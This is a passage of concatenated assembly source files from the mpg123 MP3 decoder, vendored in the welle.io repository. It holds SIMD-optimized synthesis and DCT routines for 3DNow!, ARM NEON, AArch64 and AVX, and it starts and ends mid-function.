movd %mm2,104(%esi)
/* 28 */
movq 112(%ebx),%mm4
movq %mm4,%mm5
movd 124(%ebx),%mm6
punpckldq 120(%ebx),%mm6
pfadd %mm6,%mm4
pfsubr %mm6,%mm5
pfmul %mm0,%mm5
movq %mm4,112(%esi)
movd %mm5,124(%esi)
psrlq $32,%mm5
movd %mm5,120(%esi)
/* 5 */
movl $-1,%eax
movd %eax,%mm1
movl $1,%eax
/* L | H */
movd %eax,%mm0
punpckldq %mm1,%mm0
/* 1.0 | -1.0 */
pi2fd %mm0,%mm0
movd %eax,%mm1
pi2fd %mm1,%mm1
#if defined(PIC) && defined(__APPLE__)
movl GLOBAL_VAR_PTR(pnts),%eax
movl 16(%eax),%eax
#else
movl 16+GLOBAL_VAR(pnts),%eax
#endif
movd 0(%eax),%mm2
/* 1.0 | cos0 */
punpckldq %mm2,%mm1
/* 0 */
movq 0(%esi),%mm2
movq %mm2,%mm3
pfmul %mm0,%mm3
pfacc %mm3,%mm2
pfmul %mm1,%mm2
movq %mm2,0(%ebx)
movq 8(%esi),%mm4
movq %mm4,%mm5
pfmul %mm0,%mm5
pfacc %mm5,%mm4
pfmul %mm0,%mm4
pfmul %mm1,%mm4
movq %mm4,%mm5
psrlq $32,%mm5
pfacc %mm5,%mm4
movq %mm4,8(%ebx)
/* 4 */
movq 16(%esi),%mm2
movq %mm2,%mm3
pfmul %mm0,%mm3
pfacc %mm3,%mm2
pfmul %mm1,%mm2
movq 24(%esi),%mm4
movq %mm4,%mm5
pfmul %mm0,%mm5
pfacc %mm5,%mm4
pfmul %mm0,%mm4
pfmul %mm1,%mm4
movq %mm4,%mm5
psrlq $32,%mm5
pfacc %mm5,%mm4
movq %mm2,%mm3
psrlq $32,%mm3
pfadd %mm4,%mm2
pfadd %mm3,%mm4
movq %mm2,16(%ebx)
movq %mm4,24(%ebx)
/* 8 */
movq 32(%esi),%mm2
movq %mm2,%mm3
pfmul %mm0,%mm3
pfacc %mm3,%mm2
pfmul %mm1,%mm2
movq %mm2,32(%ebx)
movq 40(%esi),%mm4
movq %mm4,%mm5
pfmul %mm0,%mm5
pfacc %mm5,%mm4
pfmul %mm0,%mm4
pfmul %mm1,%mm4
movq %mm4,%mm5
psrlq $32,%mm5
pfacc %mm5,%mm4
movq %mm4,40(%ebx)
/* 12 */
movq 48(%esi),%mm2
movq %mm2,%mm3
pfmul %mm0,%mm3
pfacc %mm3,%mm2
pfmul %mm1,%mm2
movq 56(%esi),%mm4
movq %mm4,%mm5
pfmul %mm0,%mm5
pfacc %mm5,%mm4
pfmul %mm0,%mm4
pfmul %mm1,%mm4
movq %mm4,%mm5
psrlq $32,%mm5
pfacc %mm5,%mm4
movq %mm2,%mm3
psrlq $32,%mm3
pfadd %mm4,%mm2
pfadd %mm3,%mm4
movq %mm2,48(%ebx)
movq %mm4,56(%ebx)
/* 16 */
movq 64(%esi),%mm2
movq %mm2,%mm3
pfmul %mm0,%mm3
pfacc %mm3,%mm2
pfmul %mm1,%mm2
movq %mm2,64(%ebx)
movq 72(%esi),%mm4
movq %mm4,%mm5
pfmul %mm0,%mm5
pfacc %mm5,%mm4
pfmul %mm0,%mm4
pfmul %mm1,%mm4
movq %mm4,%mm5
psrlq $32,%mm5
pfacc %mm5,%mm4
movq %mm4,72(%ebx)
/* 20 */
movq 80(%esi),%mm2
movq %mm2,%mm3
pfmul %mm0,%mm3
pfacc %mm3,%mm2
pfmul %mm1,%mm2
movq 88(%esi),%mm4
movq %mm4,%mm5
pfmul %mm0,%mm5
pfacc %mm5,%mm4
pfmul %mm0,%mm4
pfmul %mm1,%mm4
movq %mm4,%mm5
psrlq $32,%mm5
pfacc %mm5,%mm4
movq %mm2,%mm3
psrlq $32,%mm3
pfadd %mm4,%mm2
pfadd %mm3,%mm4
movq %mm2,80(%ebx)
movq %mm4,88(%ebx)
/* 24 */
movq 96(%esi),%mm2
movq %mm2,%mm3
pfmul %mm0,%mm3
pfacc %mm3,%mm2
pfmul %mm1,%mm2
movq %mm2,96(%ebx)
movq 104(%esi),%mm4
movq %mm4,%mm5
pfmul %mm0,%mm5
pfacc %mm5,%mm4
pfmul %mm0,%mm4
pfmul %mm1,%mm4
movq %mm4,%mm5
psrlq $32,%mm5
pfacc %mm5,%mm4
movq %mm4,104(%ebx)
/* 28 */
movq 112(%esi),%mm2
movq %mm2,%mm3
pfmul %mm0,%mm3
pfacc %mm3,%mm2
pfmul %mm1,%mm2
movq 120(%esi),%mm4
movq %mm4,%mm5
pfmul %mm0,%mm5
pfacc %mm5,%mm4
pfmul %mm0,%mm4
pfmul %mm1,%mm4
movq %mm4,%mm5
psrlq $32,%mm5
pfacc %mm5,%mm4
movq %mm2,%mm3
psrlq $32,%mm3
pfadd %mm4,%mm2
pfadd %mm3,%mm4
movq %mm2,112(%ebx)
movq %mm4,120(%ebx)
/* Phase6 */
movl 0(%ebx),%eax
movl %eax,1024(%ebp)
movl 4(%ebx),%eax
movl %eax,0(%ebp)
movl %eax,0(%edx)
movl 8(%ebx),%eax
movl %eax,512(%ebp)
movl 12(%ebx),%eax
movl %eax,512(%edx)
movl 16(%ebx),%eax
movl %eax,768(%ebp)
movl 20(%ebx),%eax
movl %eax,256(%edx)
movl 24(%ebx),%eax
movl %eax,256(%ebp)
movl 28(%ebx),%eax
movl %eax,768(%edx)
movq 32(%ebx),%mm0
movq 48(%ebx),%mm1
pfadd %mm1,%mm0
movd %mm0,896(%ebp)
psrlq $32,%mm0
movd %mm0,128(%edx)
movq 40(%ebx),%mm2
pfadd %mm2,%mm1
movd %mm1,640(%ebp)
psrlq $32,%mm1
movd %mm1,384(%edx)
movq 56(%ebx),%mm3
pfadd %mm3,%mm2
movd %mm2,384(%ebp)
psrlq $32,%mm2
movd %mm2,640(%edx)
movd 36(%ebx),%mm4
pfadd %mm4,%mm3
movd %mm3,128(%ebp)
psrlq $32,%mm3
movd %mm3,896(%edx)
movq 96(%ebx),%mm0
movq 64(%ebx),%mm1
movq 112(%ebx),%mm2
pfadd %mm2,%mm0
movq %mm0,%mm3
pfadd %mm1,%mm3
movd %mm3,960(%ebp)
psrlq $32,%mm3
movd %mm3,64(%edx)
movq 80(%ebx),%mm1
pfadd %mm1,%mm0
movd %mm0,832(%ebp)
psrlq $32,%mm0
movd %mm0,192(%edx)
movq 104(%ebx),%mm3
pfadd %mm3,%mm2
movq %mm2,%mm4
pfadd %mm1,%mm4
movd %mm4,704(%ebp)
psrlq $32,%mm4
movd %mm4,320(%edx)
movq 72(%ebx),%mm1
pfadd %mm1,%mm2
movd %mm2,576(%ebp)
psrlq $32,%mm2
movd %mm2,448(%edx)
movq 120(%ebx),%mm4
pfadd %mm4,%mm3
movq %mm3,%mm5
pfadd %mm1,%mm5
movd %mm5,448(%ebp)
psrlq $32,%mm5
movd %mm5,576(%edx)
movq 88(%ebx),%mm1
pfadd %mm1,%mm3
movd %mm3,320(%ebp)
psrlq $32,%mm3
movd %mm3,704(%edx)
movd 100(%ebx),%mm5
pfadd %mm5,%mm4
movq %mm4,%mm6
pfadd %mm1,%mm6
movd %mm6,192(%ebp)
psrlq $32,%mm6
movd %mm6,832(%edx)
movd 68(%ebx),%mm1
pfadd %mm1,%mm4
movd %mm4,64(%ebp)
psrlq $32,%mm4
movd %mm4,960(%edx)
/* femms */
popl %ebx
popl %esi
popl %edi
popl %ebp
addl $256,%esp
ret
#if defined(PIC) && defined(__APPLE__)
.section __IMPORT,__pointers,non_lazy_symbol_pointers
L_pnts:
.indirect_symbol ASM_NAME(pnts)
.long 0
#endif
NONEXEC_STACK
|
AlbrechtL/welle.io | 3,537 | src/libs/mpg123/synth_neon_float.S | /*
synth_neon_float: ARM NEON optimized synth (float output version)
copyright 1995-2010 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#define WINDOW r0
#define B0 r1
#define SAMPLES r2
/*
int synth_1to1_real_neon_asm(real *window, real *b0, real *samples, int bo1);
return value: number of clipped samples (0)
*/
#ifndef _M_ARM
.code 32
#endif
#ifndef __APPLE__
.fpu neon
#endif
.text
GLOBAL_SYMBOL ASM_NAME(synth_1to1_real_neon_asm)
#ifdef __ELF__
.type ASM_NAME(synth_1to1_real_neon_asm), %function
#endif
ALIGN4
ASM_NAME(synth_1to1_real_neon_asm):
push {r4-r5, lr}
vpush {q4-q7}
add WINDOW, WINDOW, #64
sub WINDOW, WINDOW, r3, lsl #2
mov r3, #4
mov r4, #128
mov r5, #64
1:
vld1.32 {q0,q1}, [WINDOW], r4
vld1.32 {q2,q3}, [WINDOW], r4
vld1.32 {q4,q5}, [WINDOW], r4
vld1.32 {q6,q7}, [WINDOW]
sub WINDOW, WINDOW, #352
vld1.32 {q8,q9}, [B0, :128], r5
vld1.32 {q10,q11}, [B0, :128], r5
vld1.32 {q12,q13}, [B0, :128], r5
vld1.32 {q14,q15}, [B0, :128]
vswp q1, q4
vswp q3, q6
sub B0, B0, #160
vmul.f32 q0, q0, q8
vmul.f32 q2, q2, q10
vmul.f32 q1, q1, q12
vmul.f32 q3, q3, q14
vmla.f32 q0, q4, q9
vmla.f32 q2, q6, q11
vmla.f32 q1, q5, q13
vmla.f32 q3, q7, q15
vld1.32 {q4,q5}, [WINDOW], r4
vld1.32 {q6,q7}, [WINDOW], r4
vld1.32 {q8,q9}, [WINDOW], r4
vld1.32 {q10,q11}, [B0, :128], r5
vld1.32 {q12,q13}, [B0, :128], r5
vld1.32 {q14,q15}, [B0, :128], r5
vswp q5, q6
vswp q11, q12
vmla.f32 q0, q4, q10
vmla.f32 q2, q5, q11
vmla.f32 q1, q8, q14
vld1.32 {q4,q5}, [WINDOW]
vld1.32 {q10,q11}, [B0, :128]!
add WINDOW, WINDOW, #96
vmla.f32 q3, q4, q10
vmla.f32 q0, q6, q12
vmla.f32 q2, q7, q13
vmla.f32 q1, q9, q15
vmla.f32 q3, q5, q11
vld2.32 {q4,q5}, [SAMPLES]
vpadd.f32 d0, d0, d1
vpadd.f32 d4, d4, d5
vpadd.f32 d2, d2, d3
vpadd.f32 d6, d6, d7
vpadd.f32 d0, d0, d4
vpadd.f32 d1, d2, d6
vmov.i32 q1, #0x38000000
vmul.f32 q4, q0, q1
vst2.32 {q4,q5}, [SAMPLES]!
subs r3, r3, #1
bne 1b
mov r3, #4
mov r5, #-64
1:
vld1.32 {q0,q1}, [WINDOW], r4
vld1.32 {q2,q3}, [WINDOW], r4
vld1.32 {q4,q5}, [WINDOW], r4
vld1.32 {q6,q7}, [WINDOW]
sub WINDOW, WINDOW, #352
vld1.32 {q8,q9}, [B0, :128], r5
vld1.32 {q10,q11}, [B0, :128], r5
vld1.32 {q12,q13}, [B0, :128], r5
vld1.32 {q14,q15}, [B0, :128]
vswp q1, q4
vswp q3, q6
add B0, B0, #224
vmul.f32 q0, q0, q8
vmul.f32 q2, q2, q10
vmul.f32 q1, q1, q12
vmul.f32 q3, q3, q14
vmla.f32 q0, q4, q9
vmla.f32 q2, q6, q11
vmla.f32 q1, q5, q13
vmla.f32 q3, q7, q15
vld1.32 {q4,q5}, [WINDOW], r4
vld1.32 {q6,q7}, [WINDOW], r4
vld1.32 {q8,q9}, [WINDOW], r4
vld1.32 {q10,q11}, [B0, :128], r5
vld1.32 {q12,q13}, [B0, :128], r5
vld1.32 {q14,q15}, [B0, :128], r5
vswp q5, q6
vswp q11, q12
vmla.f32 q0, q4, q10
vmla.f32 q2, q5, q11
vmla.f32 q1, q8, q14
vld1.32 {q4,q5}, [WINDOW]
vld1.32 {q10,q11}, [B0, :128]
add WINDOW, WINDOW, #96
sub B0, B0, #96
vmla.f32 q3, q4, q10
vmla.f32 q0, q6, q12
vmla.f32 q2, q7, q13
vmla.f32 q1, q9, q15
vmla.f32 q3, q5, q11
vld2.32 {q4,q5}, [SAMPLES]
vpadd.f32 d0, d0, d1
vpadd.f32 d4, d4, d5
vpadd.f32 d2, d2, d3
vpadd.f32 d6, d6, d7
vpadd.f32 d0, d0, d4
vpadd.f32 d1, d2, d6
vmov.i32 q1, #0x38000000
vmul.f32 q4, q0, q1
vst2.32 {q4,q5}, [SAMPLES]!
subs r3, r3, #1
bne 1b
mov r0, #0
vpop {q4-q7}
pop {r4-r5, pc}
NONEXEC_STACK
|
AlbrechtL/welle.io | 3,299 | src/libs/mpg123/synth_neon64_accurate.S | /*
synth_neon64_accurate: NEON optimized synth for AArch64 (MPEG compliant 16-bit output version)
copyright 1995-2014 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN16
maxmin_s16:
.word 1191181824
.word -956301312
.text
ALIGN4
.globl ASM_NAME(synth_1to1_neon64_accurate_asm)
#ifdef __ELF__
.type ASM_NAME(synth_1to1_neon64_accurate_asm), %function
#endif
ASM_NAME(synth_1to1_neon64_accurate_asm):
add x0, x0, #64
sub x0, x0, x3, lsl #2
eor v31.16b, v31.16b, v31.16b
adrp x5, AARCH64_PCREL_HI(maxmin_s16)
add x5, x5, AARCH64_PCREL_LO(maxmin_s16)
ld2r {v28.4s,v29.4s}, [x5]
mov w4, #4
mov x5, #128
1:
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], #64
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x1], #64
fmul v24.4s, v0.4s, v16.4s
fmul v25.4s, v4.4s, v20.4s
fmla v24.4s, v1.4s, v17.4s
fmla v25.4s, v5.4s, v21.4s
fmla v24.4s, v2.4s, v18.4s
fmla v25.4s, v6.4s, v22.4s
fmla v24.4s, v3.4s, v19.4s
fmla v25.4s, v7.4s, v23.4s
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], #64
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x1], #64
fmul v26.4s, v0.4s, v16.4s
fmul v27.4s, v4.4s, v20.4s
fmla v26.4s, v1.4s, v17.4s
fmla v27.4s, v5.4s, v21.4s
fmla v26.4s, v2.4s, v18.4s
fmla v27.4s, v6.4s, v22.4s
fmla v26.4s, v3.4s, v19.4s
fmla v27.4s, v7.4s, v23.4s
faddp v0.4s, v24.4s, v25.4s
faddp v1.4s, v26.4s, v27.4s
faddp v0.4s, v0.4s, v1.4s
ld2 {v4.4h,v5.4h}, [x2]
fcvtns v1.4s, v0.4s
fcmgt v2.4s, v0.4s, v28.4s
fcmgt v3.4s, v29.4s, v0.4s
sqxtn v4.4h, v1.4s
add v2.4s, v2.4s, v3.4s
add v31.4s, v31.4s, v2.4s
st2 {v4.4h,v5.4h}, [x2], #16
subs w4, w4, #1
b.ne 1b
mov w4, #4
mov x6, #-64
2:
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], x6
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x1], x6
fmul v24.4s, v0.4s, v16.4s
fmul v25.4s, v4.4s, v20.4s
fmla v24.4s, v1.4s, v17.4s
fmla v25.4s, v5.4s, v21.4s
fmla v24.4s, v2.4s, v18.4s
fmla v25.4s, v6.4s, v22.4s
fmla v24.4s, v3.4s, v19.4s
fmla v25.4s, v7.4s, v23.4s
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], x6
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x1], x6
fmul v26.4s, v0.4s, v16.4s
fmul v27.4s, v4.4s, v20.4s
fmla v26.4s, v1.4s, v17.4s
fmla v27.4s, v5.4s, v21.4s
fmla v26.4s, v2.4s, v18.4s
fmla v27.4s, v6.4s, v22.4s
fmla v26.4s, v3.4s, v19.4s
fmla v27.4s, v7.4s, v23.4s
faddp v0.4s, v24.4s, v25.4s
faddp v1.4s, v26.4s, v27.4s
faddp v0.4s, v0.4s, v1.4s
ld2 {v4.4h,v5.4h}, [x2]
fcvtns v1.4s, v0.4s
fcmgt v2.4s, v0.4s, v28.4s
fcmgt v3.4s, v29.4s, v0.4s
sqxtn v4.4h, v1.4s
add v2.4s, v2.4s, v3.4s
add v31.4s, v31.4s, v2.4s
st2 {v4.4h,v5.4h}, [x2], #16
subs w4, w4, #1
b.ne 2b
AARCH64_DUP_2D(v0, v31, 1)
add v0.4s, v0.4s, v31.4s
AARCH64_DUP_4S(v1, v0, 1)
add v0.4s, v0.4s, v1.4s
umov w0, v0.s[0]
neg w0, w0
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 7,024 | src/libs/mpg123/synth_stereo_avx_s32.S | /*
synth_stereo_avx_s32: AVX optimized synth for x86-64 (stereo specific, s32 output version)
copyright 1995-2013 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifdef IS_MSABI
/* real *window; */
#define WINDOW %r10
/* real *b0l; */
#define B0L %rdx
/* real *b0r; */
#define B0R %r8
/* real *samples; */
#define SAMPLES %r9
#else
/* real *window; */
#define WINDOW %rdi
/* real *b0l; */
#define B0L %rsi
/* real *b0r; */
#define B0R %rdx
/* real *samples; */
#define SAMPLES %r9
#endif
/*
int synth_1to1_s32_s_avx_asm(real *window, real *b0l, real *b0r, real *samples, int bo1);
return value: number of clipped samples
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN32
maxmin_avx:
.long 1191182335
.long 1191182335
.long 1191182335
.long 1191182335
.long 1191182335
.long 1191182335
.long 1191182335
.long 1191182335
.long -956301312
.long -956301312
.long -956301312
.long -956301312
.long -956301312
.long -956301312
.long -956301312
.long -956301312
scale_avx:
.long 1199570944
.text
ALIGN16
.globl ASM_NAME(synth_1to1_s32_s_avx_asm)
ASM_NAME(synth_1to1_s32_s_avx_asm):
#ifdef IS_MSABI /* should save xmm6-15 */
push %rbp
mov %rsp, %rbp
sub $160, %rsp
movaps %xmm6, (%rsp)
movaps %xmm7, 16(%rsp)
movaps %xmm8, 32(%rsp)
movaps %xmm9, 48(%rsp)
movaps %xmm10, 64(%rsp)
movaps %xmm11, 80(%rsp)
movaps %xmm12, 96(%rsp)
movaps %xmm13, 112(%rsp)
movaps %xmm14, 128(%rsp)
movaps %xmm15, 144(%rsp)
movl 48(%rbp), %eax /* 5th argument; placed after 32-byte shadow space */
#endif
vbroadcastss scale_avx(%rip), %ymm14
#ifdef IS_MSABI
shl $2, %eax
mov %rcx, WINDOW
#else
mov %r8d, %eax
shl $2, %eax
mov %rcx, SAMPLES
#endif
add $64, WINDOW
sub %rax, WINDOW
mov $128, %rax
mov $4, %ecx
vpxor %xmm15, %xmm15, %xmm15
ALIGN16
1:
vmovups (WINDOW), %ymm8
vmovups 32(WINDOW), %ymm9
vmovups (WINDOW,%rax), %ymm10
vmovups 32(WINDOW,%rax), %ymm11
vmulps (B0L), %ymm8, %ymm0
vmulps 32(B0L), %ymm9, %ymm1
vmulps (B0R), %ymm8, %ymm2
vmulps 32(B0R), %ymm9, %ymm3
vmulps 64(B0L), %ymm10, %ymm4
vmulps 96(B0L), %ymm11, %ymm5
vmulps 64(B0R), %ymm10, %ymm6
vmulps 96(B0R), %ymm11, %ymm7
vaddps %ymm1, %ymm0, %ymm8
vaddps %ymm3, %ymm2, %ymm0
vaddps %ymm5, %ymm4, %ymm9
vaddps %ymm7, %ymm6, %ymm1
lea (WINDOW,%rax,2), WINDOW
add %rax, B0L
add %rax, B0R
vmovups (WINDOW), %ymm10
vmovups 32(WINDOW), %ymm11
vmovups (WINDOW,%rax), %ymm12
vmovups 32(WINDOW,%rax), %ymm13
vmulps (B0L), %ymm10, %ymm2
vmulps 32(B0L), %ymm11, %ymm3
vmulps (B0R), %ymm10, %ymm4
vmulps 32(B0R), %ymm11, %ymm5
vmulps 64(B0L), %ymm12, %ymm6
vmulps 96(B0L), %ymm13, %ymm10
vmulps 64(B0R), %ymm12, %ymm7
vmulps 96(B0R), %ymm13, %ymm11
vaddps %ymm3, %ymm2, %ymm2
vaddps %ymm5, %ymm4, %ymm3
vaddps %ymm6, %ymm10, %ymm4
vaddps %ymm7, %ymm11, %ymm5
lea (WINDOW,%rax,2), WINDOW
add %rax, B0L
add %rax, B0R
vunpcklps %ymm0, %ymm8, %ymm6
vunpckhps %ymm0, %ymm8, %ymm0
vunpcklps %ymm1, %ymm9, %ymm7
vunpckhps %ymm1, %ymm9, %ymm1
vaddps %ymm6, %ymm0, %ymm0
vaddps %ymm7, %ymm1, %ymm1
vunpcklps %ymm3, %ymm2, %ymm6
vunpckhps %ymm3, %ymm2, %ymm2
vunpcklps %ymm5, %ymm4, %ymm7
vunpckhps %ymm5, %ymm4, %ymm3
vaddps %ymm6, %ymm2, %ymm2
vaddps %ymm7, %ymm3, %ymm3
vunpcklpd %ymm1, %ymm0, %ymm4
vunpckhpd %ymm1, %ymm0, %ymm0
vunpcklpd %ymm3, %ymm2, %ymm5
vunpckhpd %ymm3, %ymm2, %ymm1
vsubps %ymm0, %ymm4, %ymm0
vsubps %ymm1, %ymm5, %ymm1
vperm2f128 $0x20, %ymm1, %ymm0, %ymm2
vperm2f128 $0x31, %ymm1, %ymm0, %ymm3
vaddps %ymm3, %ymm2, %ymm0
vcmpnleps maxmin_avx(%rip), %ymm0, %ymm1
vcmpltps 32+maxmin_avx(%rip), %ymm0, %ymm2
vmulps %ymm14, %ymm0, %ymm0
vextractf128 $0x1, %ymm1, %xmm3
vextractf128 $0x1, %ymm2, %xmm4
vpackssdw %xmm2, %xmm1, %xmm5
vpackssdw %xmm4, %xmm3, %xmm3
vcvtps2dq %ymm0, %ymm0
vpaddw %xmm3, %xmm5, %xmm5
vpaddw %xmm5, %xmm15, %xmm15
vxorps %ymm1, %ymm0, %ymm0
vmovups %ymm0, (SAMPLES)
add $32, SAMPLES
dec %ecx
jnz 1b
mov $4, %ecx
ALIGN16
1:
vmovups (WINDOW), %ymm8
vmovups 32(WINDOW), %ymm9
vmovups (WINDOW,%rax), %ymm10
vmovups 32(WINDOW,%rax), %ymm11
vmulps (B0L), %ymm8, %ymm0
vmulps 32(B0L), %ymm9, %ymm1
vmulps (B0R), %ymm8, %ymm2
vmulps 32(B0R), %ymm9, %ymm3
vmulps -64(B0L), %ymm10, %ymm4
vmulps -32(B0L), %ymm11, %ymm5
vmulps -64(B0R), %ymm10, %ymm6
vmulps -32(B0R), %ymm11, %ymm7
vaddps %ymm1, %ymm0, %ymm8
vaddps %ymm3, %ymm2, %ymm0
vaddps %ymm5, %ymm4, %ymm9
vaddps %ymm7, %ymm6, %ymm1
lea (WINDOW,%rax,2), WINDOW
sub %rax, B0L
sub %rax, B0R
vmovups (WINDOW), %ymm10
vmovups 32(WINDOW), %ymm11
vmovups (WINDOW,%rax), %ymm12
vmovups 32(WINDOW,%rax), %ymm13
vmulps (B0L), %ymm10, %ymm2
vmulps 32(B0L), %ymm11, %ymm3
vmulps (B0R), %ymm10, %ymm4
vmulps 32(B0R), %ymm11, %ymm5
vmulps -64(B0L), %ymm12, %ymm6
vmulps -32(B0L), %ymm13, %ymm10
vmulps -64(B0R), %ymm12, %ymm7
vmulps -32(B0R), %ymm13, %ymm11
vaddps %ymm3, %ymm2, %ymm2
vaddps %ymm5, %ymm4, %ymm3
vaddps %ymm6, %ymm10, %ymm4
vaddps %ymm7, %ymm11, %ymm5
lea (WINDOW,%rax,2), WINDOW
sub %rax, B0L
sub %rax, B0R
vunpcklps %ymm0, %ymm8, %ymm6
vunpckhps %ymm0, %ymm8, %ymm0
vunpcklps %ymm1, %ymm9, %ymm7
vunpckhps %ymm1, %ymm9, %ymm1
vaddps %ymm6, %ymm0, %ymm0
vaddps %ymm7, %ymm1, %ymm1
vunpcklps %ymm3, %ymm2, %ymm6
vunpckhps %ymm3, %ymm2, %ymm2
vunpcklps %ymm5, %ymm4, %ymm7
vunpckhps %ymm5, %ymm4, %ymm3
vaddps %ymm6, %ymm2, %ymm2
vaddps %ymm7, %ymm3, %ymm3
vunpcklpd %ymm1, %ymm0, %ymm4
vunpckhpd %ymm1, %ymm0, %ymm0
vunpcklpd %ymm3, %ymm2, %ymm5
vunpckhpd %ymm3, %ymm2, %ymm1
vaddps %ymm0, %ymm4, %ymm0
vaddps %ymm1, %ymm5, %ymm1
vperm2f128 $0x20, %ymm1, %ymm0, %ymm2
vperm2f128 $0x31, %ymm1, %ymm0, %ymm3
vaddps %ymm3, %ymm2, %ymm0
vcmpnleps maxmin_avx(%rip), %ymm0, %ymm1
vcmpltps 32+maxmin_avx(%rip), %ymm0, %ymm2
vmulps %ymm14, %ymm0, %ymm0
vextractf128 $0x1, %ymm1, %xmm3
vextractf128 $0x1, %ymm2, %xmm4
vpackssdw %xmm2, %xmm1, %xmm5
vpackssdw %xmm4, %xmm3, %xmm3
vcvtps2dq %ymm0, %ymm0
vpaddw %xmm3, %xmm5, %xmm5
vpaddw %xmm5, %xmm15, %xmm15
vxorps %ymm1, %ymm0, %ymm0
vmovups %ymm0, (SAMPLES)
add $32, SAMPLES
dec %ecx
jnz 1b
vzeroupper
pxor %xmm1, %xmm1
psubw %xmm15, %xmm1
pshufd $0x4e, %xmm1, %xmm0
paddw %xmm1, %xmm0
pshuflw $0x4e, %xmm0, %xmm1
paddw %xmm1, %xmm0
pshuflw $0x11, %xmm0, %xmm1
paddw %xmm1, %xmm0
movd %xmm0, %eax
and $0x7f, %eax
#ifdef IS_MSABI
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm12
movaps 112(%rsp), %xmm13
movaps 128(%rsp), %xmm14
movaps 144(%rsp), %xmm15
mov %rbp, %rsp
pop %rbp
#endif
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 9,295 | src/libs/mpg123/dct64_avx_float.S | /*
dct64_x86_64_float: SSE optimized dct64 for x86-64 (float output version)
copyright 1995-2013 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#define samples %rdx
#define costab %rcx
#define out0 %rdi
#define out1 %rsi
/*
void dct64_real_avx(real *out0, real *out1, real *samples);
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN32
costab_avx:
.long 1056974725
.long 1057056395
.long 1057223771
.long 1057485416
.long 1057855544
.long 1058356026
.long 1059019886
.long 1059897405
.long 1061067246
.long 1062657950
.long 1064892987
.long 1066774581
.long 1069414683
.long 1073984175
.long 1079645762
.long 1092815430
.long 1057005197
.long 1057342072
.long 1058087743
.long 1059427869
.long 1061799040
.long 1065862217
.long 1071413542
.long 1084439708
.long 1057128951
.long 1058664893
.long 1063675095
.long 1076102863
.long 1057655764
.long 1067924853
.long 1060439283
.long 0
.text
ALIGN16
.globl ASM_NAME(dct64_real_avx)
ASM_NAME(dct64_real_avx):
#ifdef IS_MSABI
push %rbp
mov %rsp, %rbp
sub $112, %rsp
movaps %xmm6, (%rsp)
movaps %xmm7, 16(%rsp)
movaps %xmm8, 32(%rsp)
movaps %xmm9, 48(%rsp)
movaps %xmm10, 64(%rsp)
movaps %xmm11, 80(%rsp)
movaps %xmm12, 96(%rsp)
push %rdi
push %rsi
mov %rcx, %rdi
mov %rdx, %rsi
mov %r8, %rdx
#endif
leaq costab_avx(%rip), costab
vmovups (samples), %ymm0 # input[0,1,2,3,4,5,6,7]
vmovups 32(samples), %ymm1 # input[8,9,10,11,12,13,14,15]
vperm2f128 $0x23, 64(samples), %ymm2, %ymm2
vperm2f128 $0x23, 96(samples), %ymm3, %ymm3
vshufps $0x1b, %ymm2, %ymm2, %ymm2 # input[23,22,21,20,19,18,17,16]
vshufps $0x1b, %ymm3, %ymm3, %ymm3 # input[31,30,29,28,27,26,25,24]
vsubps %ymm2, %ymm1, %ymm6
vsubps %ymm3, %ymm0, %ymm7
vaddps %ymm0, %ymm3, %ymm4 # bufs[0,1,2,3,4,5,6,7]
vaddps %ymm1, %ymm2, %ymm5 # bufs[8,9,10,11,12,13,14,15]
vmulps (costab), %ymm7, %ymm7 # bufs[31,30,29,28,27,26,25,24] cos64[0,1,2,3,4,5,6,7]
vmulps 32(costab), %ymm6, %ymm6 # bufs[23,22,21,20,19,18,17,16] cos64[8,9,10,11,12,13,14,15]
vmovaps 64(costab), %ymm8 # cos32[0,1,2,3,4,5,6,7]
vshufps $0x1b, %ymm5, %ymm5, %ymm5
vshufps $0x1b, %ymm6, %ymm6, %ymm6
vperm2f128 $0x01, %ymm5, %ymm5, %ymm5 # bufs[15,14,13,12,11,10,9,8]
vperm2f128 $0x01, %ymm6, %ymm6, %ymm6 # bufs[16,17,18,19,20,21,22,23]
vsubps %ymm5, %ymm4, %ymm1
vsubps %ymm6, %ymm7, %ymm3
vaddps %ymm5, %ymm4, %ymm0 # bufs[32,33,34,35,36,37,38,39]
vaddps %ymm6, %ymm7, %ymm2 # bufs[48,49,50,51,52,53,54,55]
vmulps %ymm1, %ymm8, %ymm1 # bufs[47,46,45,44,43,42,41,40]
